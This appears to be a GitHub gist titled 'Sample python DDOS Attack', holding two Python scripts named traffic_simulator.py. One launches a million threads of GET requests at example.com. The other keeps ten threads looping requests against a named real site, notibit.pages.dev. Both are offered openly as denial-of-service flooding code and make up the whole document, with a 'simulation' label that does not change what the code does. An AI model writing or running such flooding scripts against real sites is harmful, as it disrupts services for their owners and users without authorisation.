Skip to content

Instantly share code, notes, and snippets.

@SH20RAJ
Last active April 21, 2025 02:18
Show Gist options
  • Save SH20RAJ/c8d8de4be4de9d883f52f39f85e494b6 to your computer and use it in GitHub Desktop.
Save SH20RAJ/c8d8de4be4de9d883f52f39f85e494b6 to your computer and use it in GitHub Desktop.
Sample python DDOS Attack
# Save this as traffic_simulator.py
import threading
import requests
# Number of concurrent requests
NUM_THREADS = 1000000
# Function to send requests
def send_requests():
try:
response = requests.get("https://example.com/")
print(f"Response: {response.status_code}")
except Exception as e:
print(f"Error: {e}")
# Create threads
threads = []
for _ in range(NUM_THREADS):
thread = threading.Thread(target=send_requests)
threads.append(thread)
# Start threads
for thread in threads:
thread.start()
# Wait for all threads to complete
for thread in threads:
thread.join()
print("Traffic simulation complete.")
# Save this as traffic_simulator.py
import threading
import requests
import time
# Function to send requests
def send_requests():
while True:
try:
response = requests.get("https://notibit.pages.dev/")
print(f"Response: {response.status_code}")
except Exception as e:
print(f"Error: {e}")
time.sleep(0.1) # Add a small delay to prevent overwhelming the server
# Number of concurrent threads
NUM_THREADS = 10
# Create and start threads
threads = []
for _ in range(NUM_THREADS):
thread = threading.Thread(target=send_requests)
thread.daemon = True # Set as daemon so it exits when the main program does
thread.start()
threads.append(thread)
print("Traffic simulation started. Press Ctrl+C to stop.")
try:
# Keep the main thread alive
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\nTraffic simulation stopped.")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment